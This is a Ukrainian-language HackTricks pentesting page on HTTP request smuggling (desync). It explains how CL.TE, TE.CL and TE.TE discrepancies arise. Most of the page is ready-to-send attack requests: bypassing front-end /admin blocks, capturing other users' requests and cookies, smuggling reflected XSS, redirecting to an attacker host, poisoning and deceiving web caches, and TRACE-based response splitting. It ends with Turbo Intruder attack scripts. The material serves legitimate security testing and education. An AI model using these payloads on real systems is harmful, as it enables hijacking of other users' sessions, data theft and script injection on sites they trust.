HTTP Request Smuggling / HTTP Desync Attack

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Якщо ви хочете побачити вашу компанію рекламовану на HackTricks або завантажити HackTricks у PDF Перевірте ПЛАНИ ПІДПИСКИ!
Отримайте офіційний PEASS & HackTricks swag
Відкрийте Сім'ю PEASS, нашу колекцію ексклюзивних NFTs
Приєднуйтесь до 💬 групи Discord або групи телеграм або слідкуйте за нами на Twitter 🐦 @carlospolopm.
Поділіться своїми хакінг-трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв GitHub.

Що це таке

Ця вразливість виникає, коли десинхронізація між проксі-серверами фронтенду та сервером бекенду дозволяє зловмиснику надіслати HTTP запит, який буде інтерпретований як один запит проксі-серверами фронтенду (балансування навантаження / зворотний проксі) та як 2 запити сервером бекенду. Це дозволяє користувачеві змінити наступний запит, який надходить до сервера бекенду після його.

Теорія

RFC Специфікація (2161)

Якщо повідомлення отримано з полями заголовка Transfer-Encoding та Content-Length, останнє ПОВИННО бути ігнороване.

Content-Length

Заголовок сутності Content-Length вказує розмір тіла сутності, в байтах, відправленого отримувачеві.

Transfer-Encoding: chunked

Заголовок Transfer-Encoding вказує форму кодування, яка використовується для безпечної передачі тіла навантаження користувачеві. Chunked означає, що великі дані відправляються серією частин

Реальність

Фронтенд (балансування навантаження / зворотний проксі) обробляє заголовок content-length або transfer-encoding, а сервер бекенду обробляє інший, що викликає десинхронізацію між цими 2 системами. Це може бути дуже критичним, оскільки зловмисник зможе надіслати один запит до зворотного проксі, який буде інтерпретований сервером бекенду як 2 різні запити. Небезпека цієї техніки полягає в тому, що сервер бекенду інтерпретуватиме внедений другий запит так, ніби він прийшов від наступного клієнта, а справжній запит цього клієнта буде частиною внеденого запиту.

Особливості

Пам'ятайте, що в HTTP символ нового рядка складається з 2 байтів:

Content-Length: Цей заголовок використовує десяткове число, щоб вказати кількість байтів тіла запиту. Очікується, що тіло закінчиться останнім символом, новий рядок не потрібен в кінці запиту.
Transfer-Encoding: Цей заголовок використовує в тілі шістнадцяткове число, щоб вказати кількість байтів наступного чанка. Чанк повинен закінчуватися новим рядком, але цей новий рядок не враховується індикатором довжини. Цей метод передачі повинен закінчуватися чанком розміром 0, за яким слідують 2 нових рядки: 0
Connection: На основі мого досвіду рекомендується використовувати Connection: keep-alive у першому запиті запиту на Вбивство HTTP.

Базові Приклади

При спробі використати це з Burp Suite вимкніть Оновлення Content-Length та Нормалізацію HTTP/1 рядків в повторювачі, оскільки деякі гаджети зловживають новими рядками, возвратами каретки та неправильними довжинами вмісту.

Атаки вбивства HTTP-запитів створюються шляхом надсилання неоднозначних запитів, які використовують розбіжності в тому, як фронтендові та бекендові сервери інтерпретують заголовки Content-Length (CL) та Transfer-Encoding (TE). Ці атаки можуть проявлятися у різних формах, переважно як CL.TE, TE.CL та TE.TE. Кожен тип представляє унікальне поєднання того, як фронтендові та бекендові сервери пріоритизують ці заголовки. Вразливості виникають з обробки серверами одного й того ж запиту різними способами, що призводить до неочікуваних та потенційно зловісних результатів.

Базові Приклади Типів Вразливостей

Вразливість CL.TE (Content-Length використовується фронтендом, Transfer-Encoding використовується бекендом)

Фронтенд (CL): Обробляє запит на основі заголовка Content-Length.
Бекенд (TE): Обробляє запит на основі заголовка Transfer-Encoding.
Сценарій Атаки:
Зловмисник надсилає запит, де значення заголовка Content-Length не відповідає фактичній довжині вмісту.
Фронтендовий сервер пересилає весь запит на бекенд, виходячи зі значення Content-Length.
Бекендовий сервер обробляє запит як чанкований через заголовок Transfer-Encoding: chunked, інтерпретуючи залишкові дані як окремий, наступний запит.
Приклад:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

Вразливість TE.CL (Transfer-Encoding використовується фронтендом, Content-Length використовується бекендом)

Фронтенд (TE): Обробляє запит на основі заголовка Transfer-Encoding.
Бекенд (CL): Обробляє запит на основі заголовка Content-Length.
Сценарій Атаки:
Зловмисник надсилає чанкований запит, де розмір чанка (7b) та фактична довжина вмісту (Content-Length: 4) не збігаються.
Фронтендовий сервер, дотримуючись Transfer-Encoding, пересилає весь запит на бекенд.
Бекендовий сервер, дотримуючись Content-Length, обробляє лише початкову частину запиту (7b байтів), залишаючи решту як частину ненавмисного наступного запиту.
Приклад:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

Уразливість TE.TE (Transfer-Encoding використовується обома, з затемненням)

Сервери: Обидва підтримують Transfer-Encoding, але один може бути обманутим у ігноруванні його за допомогою затемнення.
Сценарій атаки:
Атакуючий надсилає запит з затемненими заголовками Transfer-Encoding.
Залежно від того, який сервер (фронтенд або бекенд) не впізнає затемнення, може бути використана уразливість CL.TE або TE.CL.
Невідпрацьована частина запиту, як бачить один з серверів, стає частиною наступного запиту, що призводить до змови.
Приклад:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

Сценарій CL.CL (Content-Length використовується як фронтендом, так і бекендом):

Обидва сервери обробляють запит лише на основі заголовка Content-Length.
Цей сценарій, як правило, не призводить до змови, оскільки обидва сервери інтерпретують довжину запиту однаково.
Приклад:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Звичайний запит

Сценарій CL != 0:

Вказує на сценарії, де заголовок Content-Length присутній і має значення, відмінне від нуля, що вказує на наявність вмісту тіла запиту.
Це важливо для розуміння та створення атак змови, оскільки це впливає на те, як сервери визначають кінець запиту.
Приклад:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Тіло запиту не є порожнім

Примусове виконання за допомогою заголовків hop-by-hop

Зловживання заголовками hop-by-hop може вказати проксі видалити заголовок Content-Length або Transfer-Encoding, щоб можливо було зловживати HTTP-атакою змови.

Connection: Content-Length

Для додаткової інформації про заголовки hop-by-hop відвідайте:

pagehop-by-hop headers

Пошук HTTP Request Smuggling

Виявлення вразливостей на HTTP request smuggling часто можливо досягти за допомогою технік таймінгу, які ґрунтуються на спостереженні, як довго сервер відповідає на маніпульовані запити. Ці техніки особливо корисні для виявлення вразливостей CL.TE та TE.CL. Крім цих методів, існують інші стратегії та інструменти, які можна використовувати для пошуку таких вразливостей:

Пошук Вразливостей CL.TE За Допомогою Технік Таймінгу

Метод:
Надішліть запит, який, якщо додаток є вразливим, змусить сервер зчекати додаткові дані.
Приклад:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

Спостереження:
Фронтенд-сервер обробляє запит на основі Content-Length та передчасно обриває повідомлення.
Бекенд-сервер, очікуючи на чанковане повідомлення, чекає на наступний чанк, який ніколи не приходить, що призводить до затримки.
Індикатори:
Таймаути або довгі затримки у відповіді.
Отримання помилки 400 Bad Request від бекенд-сервера, іноді з детальною інформацією про сервер.

Пошук Вразливостей TE.CL За Допомогою Технік Таймінгу

Метод:
Надішліть запит, який, якщо додаток є вразливим, змусить сервер зчекати додаткові дані.
Приклад:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

Спостереження:
Фронтенд-сервер обробляє запит на основі Transfer-Encoding та передає весь повідомлення.
Бекенд-сервер, очікуючи на повідомлення на основі Content-Length, чекає на додаткові дані, які ніколи не приходять, що призводить до затримки.

Інші Методи Пошуку Вразливостей

Аналіз Різниці Відповідей:
Надсилайте трохи відмінені версії запиту та спостерігайте, чи відрізняються відповіді сервера несподіваним чином, що вказує на розбіжність у парсингу.
Використання Автоматизованих Інструментів:
Інструменти, такі як розширення 'HTTP Request Smuggler' від Burp Suite, можуть автоматично перевіряти ці вразливості, надсилаючи різні форми неоднозначних запитів та аналізуючи відповіді.
Тести на Варіацію Content-Length:
Надсилайте запити з різними значеннями Content-Length, які не відповідають фактичній довжині вмісту, та спостерігайте, як сервер обробляє такі неспівпадіння.
Тести на Варіацію Transfer-Encoding:
Надсилайте запити з затемненими або некоректними заголовками Transfer-Encoding та спостерігайте, як відповідають фронтенд- та бекенд-сервери на такі маніпуляції.

Тестування Вразливостей HTTP Request Smuggling

Після підтвердження ефективності технік таймінгу важливо перевірити можливість маніпулювання клієнтськими запитами. Простий метод - спробувати отруїти ваші запити, наприклад, зробити запит до /, щоб отримати відповідь 404. Приклади CL.TE та TE.CL, які обговорювалися раніше в Базових Прикладах, показують, як отруїти запит клієнта для отримання відповіді 404, незважаючи на те, що клієнт спрямовується на інший ресурс.

Ключові Питання

Під час тестування вразливостей на request smuggling шляхом втручання в інші запити, пам'ятайте:

Різні Мережеві Підключення: "Атака" та "звичайні" запити повинні бути відправлені по різних мережевих підключеннях. Використання одного й того ж підключення для обох не підтверджує наявність вразливості.
Стійкі URL та Параметри: Спробуйте використовувати ідентичні URL та назви параметрів для обох запитів. Сучасні додатки часто маршрутизують запити до конкретних бекенд-серверів на основі URL та параметрів. Відповідність цим параметрам збільшує ймовірність того, що обидва запити обробляються тим самим сервером, що є передумовою для успішної атаки.
Таймінг та Умови Гонки: "Звичайний" запит, призначений для виявлення втручання від "атаки", конкурує з іншими одночасними запитами додатку. Тому надсилайте "звичайний" запит безпосередньо після "атаки". В зайнятих додатках може знадобитися кілька спроб для підтвердження вразливості.
Виклики Балансування Навантаження: Фронтенд-сервери, що діють як балансувальники навантаження, можуть розподіляти запити між різними бекенд-системами. Якщо "атака" та "звичайний" запити потрапляють на різні системи, атака не вдасться. Цей аспект балансування навантаження може вимагати кількох спроб для підтвердження вразливості.
Непередбачений Вплив на Користувача: Якщо ваша атака ненавмисно впливає на запит іншого користувача (не "звичайний" запит, який ви надіслали для виявлення), це свідчить про те, що ваша атака вплинула на іншого користувача додатку. Постійне тестування може заважати іншим користувачам, що вимагає обережного підходу.

Зловживання HTTP Request Smuggling

Обхід Безпеки Фронтенду за Допомогою HTTP Request Smuggling

Іноді фронтендові проксі застосовують заходи безпеки, аналізуючи вхідні запити. Однак ці заходи можна обійти, експлуатуючи HTTP Request Smuggling, що дозволяє несанкціонований доступ до обмежених кінцевих точок. Наприклад, доступ до /admin може бути заборонений зовнішньо, і фронтендовий проксі активно блокує такі спроби. Однак цей проксі може не перевіряти вбудовані запити в маніпульований HTTP запит, залишаючи лазню для обхіду цих обмежень.

Розгляньте наступні приклади, які показують, як HTTP Request Smuggling може бути використаний для обходу контролів безпеки фронтенду, спеціально націлені на шлях /admin, який зазвичай охороняється фронтендовим проксі:

Приклад CL.TE

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

У атаки CL.TE заголовок Content-Length використовується для початкового запиту, тоді як вбудований наступний запит використовує заголовок Transfer-Encoding: chunked. Проксі-сервер обробляє початковий запит POST, але не перевіряє вбудований запит GET /admin, що дозволяє несанкціонований доступ до шляху /admin.

Приклад TE.CL

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Навпаки, у атаку TE.CL, початковий запит POST використовує Transfer-Encoding: chunked, і наступний вбудований запит обробляється на основі заголовка Content-Length. Подібно до атаки CL.TE, проксі-сервер фронтенду не помічає підставний запит GET /admin, ненавмисно надаючи доступ до обмеженого шляху /admin.

Розкриття переписування запиту фронтенду

Додатки часто використовують сервер фронтенду, щоб змінювати вхідні запити перед їх передачею на сервер бекенду. Типова модифікація включає додавання заголовків, таких як X-Forwarded-For: <IP клієнта>, для передачі IP клієнта на бекенд. Розуміння цих модифікацій може бути критичним, оскільки це може розкрити способи обхід захисту або виявлення прихованої інформації або кінцевих точок.

Щоб дослідити, як проксі змінює запит, знайдіть параметр POST, який бекенд повертає у відповіді. Потім створіть запит, використовуючи цей параметр останнім, подібно до наступного:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

У цій структурі наступні компоненти запиту додаються після search=, який є параметром, відображеним у відповіді. Це відображення розкриє заголовки наступного запиту.

Важливо вирівнювати заголовок Content-Length вкладеного запиту з фактичною довжиною вмісту. Розпочати з невеликого значення та поступово збільшувати є рекомендовано, оскільки занадто низьке значення обріже відображені дані, тоді як занадто велике значення може призвести до помилки запиту.

Ця техніка також застосовується в контексті уразливості TE.CL, але запит повинен завершуватися search=\r\n0. Незалежно від символів нового рядка, значення будуть додаватися до параметра пошуку.

Цей метод в основному служить для розуміння модифікацій запиту, зроблених проксі-сервером фронтенду, в основному виконуючи самостійне розслідування.

Захоплення запитів інших користувачів

Можливо захопити запити наступного користувача, додаючи конкретний запит як значення параметра під час операції POST. Ось як це можна зробити:

Додавши наступний запит як значення параметра, ви можете зберегти запит наступного клієнта:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

У цьому сценарії параметр коментаря призначений для зберігання вмісту у розділі коментарів публічно доступної сторінки. Відповідно, вміст наступного запиту буде відображатися як коментар.

Проте ця техніка має обмеження. Зазвичай вона захоплює дані лише до роздільника параметра, використаного в підтасованому запиті. Для URL-кодованих відправок форми цим роздільником є символ &. Це означає, що захоплений вміст з запиту користувача-жертви зупиниться на першому &, який може навіть бути частиною рядка запиту.

Крім того, варто зауважити, що цей підхід також є життєздатним у вразливості TE.CL. У таких випадках запит повинен завершуватися search=\r\n0. Незалежно від символів нового рядка, значення будуть додані до параметра пошуку.

Використання HTTP-підтасовування запитів для експлуатації відображеного XSS

HTTP-підтасовування запитів може бути використане для експлуатації веб-сторінок, які вразливі на Відображений XSS, пропонуючи значні переваги:

Взаємодія з цільовими користувачами не потрібна.
Дозволяє експлуатацію XSS в частинах запиту, які зазвичай недосяжні, наприклад, заголовки HTTP-запитів.

У сценаріях, де веб-сайт вразливий на Відображений XSS через заголовок User-Agent, наведений нижче навантаження демонструє, як експлуатувати цю вразливість:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Цей полезний навантаження структурований для використання вразливості шляхом:

Ініціювання запиту POST, який, на перший погляд, є типовим, з заголовком Transfer-Encoding: chunked, щоб позначити початок підмітання.
Подальше введення 0, позначаючи кінець тіла повідомлення у вигляді частин.
Потім вводиться підмітений запит GET, де заголовок User-Agent впроваджується зі скриптом, <script>alert(1)</script>, що спричиняє виклик XSS, коли сервер обробляє цей наступний запит.

Шляхом маніпулювання User-Agent через підмітання, цей полезний навантаження обходить звичайні обмеження запиту, таким чином використовуючи вразливість Reflected XSS у нестандартний, але ефективний спосіб.

Використання внутрішніх перенаправлень з HTTP Request Smuggling

Додатки часто перенаправляють з одного URL на інший, використовуючи ім'я хоста з заголовка Host в URL перенаправлення. Це типово для веб-серверів, таких як Apache та IIS. Наприклад, запит на папку без косої риски призводить до перенаправлення з включенням косої риски:

GET /home HTTP/1.1
Host: normal-website.com

Результати:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Хоча на перший погляд ця поведінка може здатися безпечною, її можна зловживати за допомогою HTTP-заплутування запитів для перенаправлення користувачів на зовнішній сайт. Наприклад:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Цей контрабандний запит може призвести до того, що наступний оброблений запит користувача буде перенаправлений на веб-сайт, котрим керує зловмисник:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Результати:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

У цьому сценарії запит користувача на файл JavaScript був перехоплений. Зловмисник може потенційно скомпрометувати користувача, подаючи зловмисний JavaScript у відповідь.

Використання Отруєння Кешу Веб-сторінки через HTTP Запити Перехоплення

Отруєння кешу веб-сторінки може бути виконане, якщо будь-яка складова інфраструктури фронтенду кешує вміст, зазвичай для покращення продуктивності. Шляхом маніпулювання відповіддю сервера можливо отруїти кеш.

Раніше ми спостерігали, як відповіді сервера можуть бути змінені для повернення помилки 404 (див. Базові Приклади). Аналогічно, можливо обманути сервер, щоб він доставив вміст /index.html у відповідь на запит /static/include.js. В результаті вміст /static/include.js замінюється в кеші на вміст /index.html, що робить /static/include.js недоступним для користувачів, що потенційно може призвести до Відмови в Обслуговуванні (DoS).

Ця техніка стає особливо потужною, якщо виявлено вразливість на Відкритий Перенаправлення або якщо є перенаправлення на відкритий перенаправлення на сайті. Такі вразливості можуть бути використані для заміни кешованого вмісту /static/include.js на скрипт під контролем зловмисника, що фактично дозволяє широкомасштабну атаку Міжсайтового Скриптінгу (XSS) проти всіх клієнтів, які запитують оновлений /static/include.js.

Нижче наведено ілюстрацію використання отруєння кешу в поєднанні з перенаправленням на відкрите перенаправлення на сайті. Мета полягає в зміні кешованого вмісту /static/include.js для надання JavaScript-коду, керованого зловмисником:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Зверніть увагу на вбудований запит, спрямований на /post/next?postId=3. Цей запит буде перенаправлений на /post?postId=4, використовуючи значення заголовка Host, щоб визначити домен. Змінивши заголовок Host, зловмисник може перенаправити запит на свій домен (внутрішнє перенаправлення на відкрите перенаправлення).

Після успішного забруднення сокетів, слід ініціювати GET-запит для /static/include.js. Цей запит буде забруднений попереднім запитом внутрішнього перенаправлення на відкрите перенаправлення і отримає вміст скрипта, котрим керує зловмисник.

Подальші запити для /static/include.js будуть обслуговувати кешований вміст скрипта зловмисника, ефективно запускаючи широкий XSS-атаку.

Використання HTTP-запитів-перемикань для виконання обману веб-кешу

Яка різниця між отруєнням веб-кешу та обманом веб-кешу?
У випадку отруєння веб-кешу, зловмисник змушує додаток зберігати деякий шкідливий вміст у кеші, і цей вміст обслуговується з кешу іншим користувачам додатку.
У випадку обману веб-кешу, зловмисник змушує додаток зберігати деякий чутливий вміст, що належить іншому користувачеві, у кеші, а потім зловмисник отримує цей вміст з кешу.

Зловмисник створює підставний запит, який отримує чутливий вміст, специфічний для користувача. Розгляньте наступний приклад:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Якщо цей контрабандний запит забруднює запис кешу, призначений для статичного вмісту (наприклад, /someimage.png), чутливі дані жертви з /private/messages можуть бути закешовані під запис статичного вмісту. В результаті атакувальник може потенційно отримати ці закешовані чутливі дані.

Зловживанням TRACE через HTTP Request Smuggling

У цьому пості запропоновано, що якщо сервер має увімкнений метод TRACE, можливо використовувати його з HTTP Request Smuggling. Це тому, що цей метод відображатиме будь-який заголовок, відправлений на сервер, як частину тіла відповіді. Наприклад:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Буде відправлено відповідь у вигляді:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Прикладом зловживання цією поведінкою може бути перш за все передача запиту HEAD. На цей запит буде відповідати лише заголовками запиту GET (Content-Type серед них). І відразу після HEAD передайте запит TRACE, який буде відображати надіслані дані. Оскільки відповідь HEAD буде містити заголовок Content-Length, відповідь на запит TRACE буде розглядатися як тіло відповіді на HEAD, тим самим відображаючи довільні дані у відповіді. Ця відповідь буде відправлена до наступного запиту через з'єднання, тому це може бути використано в кешованому файлі JS, наприклад, для впровадження довільного JS-коду.

Зловживання TRACE через розщеплення HTTP-відповіді

Продовжуйте слідувати цьому посту, де запропоновано ще один спосіб зловживання методом TRACE. Як зазначено, передача запиту HEAD і запиту TRACE дозволяє контролювати деякі відображені дані у відповіді на запит HEAD. Довжина тіла запиту HEAD фактично вказується в заголовку Content-Length і формується відповіддю на запит TRACE.

Отже, нова ідея полягає в тому, що, знаючи цей Content-Length та дані, що надійшли у відповідь на TRACE, можна зробити так, щоб відповідь TRACE містила дійсну HTTP-відповідь після останнього байту Content-Length, що дозволяє зловмиснику повністю контролювати запит до наступної відповіді (що може бути використано для виконання отруєння кешу).

Приклад:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Згенерує ці відповіді (зверніть увагу, що відповідь HEAD має Content-Length, що робить відповідь TRACE частиною тіла HEAD, і як тільки закінчується Content-Length HEAD, дійсна HTTP-відповідь вбудовується):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Збройовий HTTP Request Smuggling з HTTP Response Desynchronisation

Чи ви знайшли деяку вразливість HTTP Request Smuggling і не знаєте, як її використовувати. Спробуйте цей інший метод експлуатації:

pageHTTP Response Smuggling / Desync

Інші техніки HTTP Request Smuggling

HTTP Request Smuggling в браузері (з боку клієнта)

pageBrowser HTTP Request Smuggling

Request Smuggling в HTTP/2 Downgrades

pageRequest Smuggling in HTTP/2 Downgrades

Сценарії Turbo Intruder

CL.TE

З https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

З: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Інструменти

https://github.com/anshumanpattnaik/http-request-smuggling
https://github.com/PortSwigger/http-request-smuggler
https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
https://github.com/defparam/smuggler
https://github.com/Moopinger/smugglefuzz
https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: Цей інструмент є граматичним HTTP Fuzzer, корисним для виявлення дивних різниць у запитах.

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Якщо ви хочете побачити вашу компанію рекламовану в HackTricks або завантажити HackTricks у PDF Перевірте ПЛАНИ ПІДПИСКИ!
Отримайте офіційний PEASS & HackTricks swag
Відкрийте для себе Сім'ю PEASS, нашу колекцію ексклюзивних NFTs
Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами на Twitter 🐦 @carlospolopm.
Поділіться своїми хакерськими трюками, надсилайте PR до HackTricks та HackTricks Cloud github репозиторіїв.

PreviousHTTP Connection Request Smuggling NextBrowser HTTP Request Smuggling

Last updated 1 month ago